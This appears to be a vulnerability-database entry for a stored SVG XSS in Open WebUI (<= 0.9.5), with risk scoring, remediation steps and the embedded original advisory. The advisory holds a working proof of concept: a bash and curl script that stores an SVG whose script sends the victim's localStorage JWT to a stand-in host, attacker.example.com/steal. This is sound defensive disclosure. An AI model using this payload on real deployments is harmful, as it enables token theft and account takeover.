CVE-2026-54013: Open WebUI: stored SVG XSS enables full account takeover

GHSA-v2qm-5wxj-qhj7 HIGH
Published June 17, 2026
CISO Take

Open WebUI versions up to and including 0.9.5 contain a stored XSS vulnerability in model profile image handling that allows any authenticated user — by default, all non-pending users — to embed a malicious SVG payload that steals victim JWTs when the image is opened as a top-level document. The attack complexity is low (CVSS AC:L), requires only default-granted permissions, and results in complete account takeover including password changes and admin privilege escalation. This is a bypass of two prior patches (GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc), placing it in the top 82nd percentile for exploitation likelihood per EPSS — with 102 prior CVEs in this package, defenders should treat this as an urgent priority. Upgrade to open-webui 0.9.6 immediately; as an interim control, restrict the 'workspace.models' permission on untrusted multi-tenant deployments and audit model entries for suspicious 'data:image/svg+xml' values in profile_image_url fields.

Sources: NVD EPSS GitHub Advisory ATLAS

What is the risk?

High risk. CVSS 7.6 with network attack vector, low complexity, and only low privileges required, resulting in high confidentiality impact with changed scope. The most significant risk amplifier is that the 'workspace.models' permission enabling the primary write vector is on by default — every authenticated user in a standard deployment is a potential threat actor. The vulnerability explicitly bypasses two prior security patches, indicating incomplete remediation and increasing the likelihood that defenders believe they are already protected. EPSS 82nd percentile with no currently known public exploit, but the PoC is trivial to reproduce directly from the advisory and requires no specialized tooling.

How does the attack unfold?

Initial Access
Attacker authenticates as any standard user; the default 'workspace.models' permission grants write access to model profile data without requiring admin or elevated roles.
AML.T0012
Payload Storage
Attacker calls POST /api/v1/models/create with a base64-encoded SVG XSS payload in profile_image_url; the request is accepted without validation due to the missing ModelMeta field validator.
AML.T0049
Victim Trigger
Attacker delivers the model image URL to a privileged user via a channel message or direct link; victim opens it as a top-level document, triggering inline SVG rendering with script execution on the Open WebUI origin.
AML.T0011.003
Account Takeover
Embedded SVG script exfiltrates the victim's JWT from localStorage; attacker replays the token to gain full API access, escalate to admin, and establish persistent control over the AI platform and its connected backends.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.5 0.9.6
141.4K Pushed 4d ago 76% patched ~4d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
7.6 / 10
EPSS
0.1%
chance of exploitation in 30 days
Higher than 18% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C High
I Low
A None

What should I do?

5 steps
  1. PATCH

    Upgrade to open-webui >= 0.9.6, which applies input-side field validation (validate_profile_image_url) to ModelMeta and adds MIME allowlist plus X-Content-Type-Options: nosniff to the model profile serving endpoint.

  2. INTERIM

    Disable or restrict the 'workspace.models' permission for non-admin users in Settings until the patch is applied.

  3. AUDIT

    Query for stored payloads with: SELECT id, name, meta->>'profile_image_url' FROM models WHERE meta->>'profile_image_url' ILIKE '%svg%'.

  4. REVIEW

    Check application logs for GET /api/v1/models/model/profile/image requests from unusual sources, which may indicate reconnaissance or live exploitation.

  5. ROTATE

    If exploitation is suspected, invalidate all active sessions to force JWT rotation across the user base.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.6.2 - Controls for AI System Information Security
NIST AI RMF
GOVERN-6.2 - Organizational teams document the risks and potential impacts of the AI system
OWASP LLM Top 10
LLM02 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2026-54013?

Open WebUI versions up to and including 0.9.5 contain a stored XSS vulnerability in model profile image handling that allows any authenticated user — by default, all non-pending users — to embed a malicious SVG payload that steals victim JWTs when the image is opened as a top-level document. The attack complexity is low (CVSS AC:L), requires only default-granted permissions, and results in complete account takeover including password changes and admin privilege escalation. This is a bypass of two prior patches (GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc), placing it in the top 82nd percentile for exploitation likelihood per EPSS — with 102 prior CVEs in this package, defenders should treat this as an urgent priority. Upgrade to open-webui 0.9.6 immediately; as an interim control, restrict the 'workspace.models' permission on untrusted multi-tenant deployments and audit model entries for suspicious 'data:image/svg+xml' values in profile_image_url fields.

Is CVE-2026-54013 actively exploited?

No confirmed active exploitation of CVE-2026-54013 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54013?

1. PATCH: Upgrade to open-webui >= 0.9.6, which applies input-side field validation (validate_profile_image_url) to ModelMeta and adds MIME allowlist plus X-Content-Type-Options: nosniff to the model profile serving endpoint. 2. INTERIM: Disable or restrict the 'workspace.models' permission for non-admin users in Settings until the patch is applied. 3. AUDIT: Query for stored payloads with: SELECT id, name, meta->>'profile_image_url' FROM models WHERE meta->>'profile_image_url' ILIKE '%svg%'. 4. REVIEW: Check application logs for GET /api/v1/models/model/profile/image requests from unusual sources, which may indicate reconnaissance or live exploitation. 5. ROTATE: If exploitation is suspected, invalidate all active sessions to force JWT rotation across the user base.

What systems are affected by CVE-2026-54013?

This vulnerability affects the following AI/ML architecture patterns: LLM model management UIs, self-hosted AI chat interfaces, multi-tenant AI platforms.

What is the CVSS score for CVE-2026-54013?

CVE-2026-54013 has a CVSS v3.1 base score of 7.6 (HIGH). The EPSS exploitation probability is 0.06%.

What is the AI security impact?

Affected AI Architectures

LLM model management UIsself-hosted AI chat interfacesmulti-tenant AI platforms

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2
NIST AI RMF: GOVERN-6.2
OWASP LLM Top 10: LLM02

What are the technical details?

Original Advisory

# Stored XSS to Account Takeover via Model Profile Images in Open WebUI **Affected:** Open WebUI <= 0.9.5 **Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc --- ## TL;DR Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL. --- ## Past of the issue In early 2025, two security advisories landed for Open WebUI: - **GHSA-3wgj-c2hg-vm6q** SVG XSS via user profile images - **GHSA-3856-3vxq-m6fc** SVG XSS via webhook profile images The patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py` a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `<script>` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`. The fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed. Except there was a fourth endpoint. ## The Gap Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`: ```python # backend/open_webui/models/models.py, line 37-47 class ModelMeta(BaseModel): profile_image_url: Optional[str] = '/static/favicon.png' description: Optional[str] = None capabilities: Optional[dict] = None model_config = ConfigDict(extra='allow') ``` No `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url` including `data:image/svg+xml;base64,...`. The serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap: ```python # backend/open_webui/routers/models.py, line 503-518 elif profile_image_url.startswith('data:image'): header, base64_data = profile_image_url.split(',', 1) image_data = base64.b64decode(base64_data) image_buffer = io.BytesIO(image_data) media_type = header.split(';')[0].lstrip('data:') headers = {'Content-Disposition': 'inline'} # ... return StreamingResponse( image_buffer, media_type=media_type, headers=headers, ) ``` No MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application's origin. Compare this with the **patched** user endpoint: ```python # backend/open_webui/routers/users.py, line 497-509 media_type = header.split(';')[0].lstrip('data:').lower() if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # <-- ABSENT in models.py return FileResponse(f'{STATIC_DIR}/user.png') return StreamingResponse( image_buffer, media_type=media_type, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py }, ) ``` The fix exists. It just was never applied here. ## Comparison Table | Endpoint | Input Validation | MIME Allowlist | nosniff | Status | |----------|:---:|:---:|:---:|--------| | `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** | | `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched | | `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** | ## Three Write Vectors The malicious SVG data URI can be injected through any of three endpoints all pass `ModelForm` containing `ModelMeta` without validation: 1. **`POST /api/v1/models/create`** (line 195) any user with `workspace.models` permission 2. **`POST /api/v1/models/update`** (line 581) model owner or admin 3. **`POST /api/v1/models/import`** (line 279) admin only The `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment. ## The Attack **Step 1 Store the payload:** ```bash SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>' | base64 -w0) curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"access_grants\": [] }" ``` **Step 2 Victim navigates to the image URL:** ``` https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview ``` This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message). **Step 3 Token theft:** The server responds: ```http HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg> ``` No `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `<script>` executes. `localStorage.getItem("token")` returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration. ## PoC ```bash #!/usr/bin/env bash # PoC: Stored SVG XSS -> token theft via Open WebUI model profile image # Affected: open-webui <= 0.9.5 TARGET="http://localhost:8080" ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>" COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener # --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) --- read -r -d '' SVG <<EOF <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); </script> </svg> EOF SVG_B64=$(printf '%s' "$SVG" | base64 -w0) # --- Step 2: Store the payload in a model's profile_image_url --- curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKER_TOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"access_grants\": [] }" # --- Step 3: Trigger (victim navigates here, or attacker sends the link) --- echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview" ``` Expected server response at Step 3 (the proof — SVG served inline, no defenses): ``` HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline <svg xmlns="http://www.w3.org/2000/svg"> <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script> </svg> ```` No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion). Trigger note: because the frontend loads model avatars in `<img src=...>` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed. ## Root Cause An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta` which uses the same `profile_image_url` field with the same serving logic was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`. ## Recommended Fix **Input side** add the validator to `ModelMeta`: ```python # backend/open_webui/models/models.py from open_webui.utils.validate import validate_profile_image_url class ModelMeta(BaseModel): profile_image_url: Optional[str] = '/static/favicon.png' # ... @field_validator('profile_image_url', mode='before') @classmethod def check_profile_image_url(cls, v): if v is None: return v return validate_profile_image_url(v) ``` **Output side** add MIME check and nosniff to the serving endpoint: ```python # backend/open_webui/routers/models.py media_type = header.split(';')[0].lstrip('data:').lower() if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: return FileResponse(f'{STATIC_DIR}/favicon.png') return StreamingResponse( image_buffer, media_type=media_type, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', }, ) ``` Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

Exploitation Scenario

An attacker with a standard user account in a corporate Open WebUI deployment calls POST /api/v1/models/create, setting profile_image_url to a base64-encoded SVG containing a script that exfiltrates localStorage.getItem('token') to an attacker-controlled listener. The attacker then pastes the model image URL into a shared channel message or sends it directly to an admin. When the admin opens the URL in a new tab — a natural response to inspecting an unfamiliar model's avatar — the browser renders the SVG as a top-level document on the Open WebUI origin, executes the embedded script, and delivers the admin JWT to the attacker's collector. The attacker replays the JWT to promote their own account to admin and maintains persistent access even after the original session expires, with full control over models, users, and connected AI infrastructure.

Weaknesses (CWE)

CWE-116 — Improper Encoding or Escaping of Output: The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
  • [Architecture and Design] If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Timeline

Published
June 17, 2026
Last Modified
June 17, 2026
First Seen
June 17, 2026

Related Vulnerabilities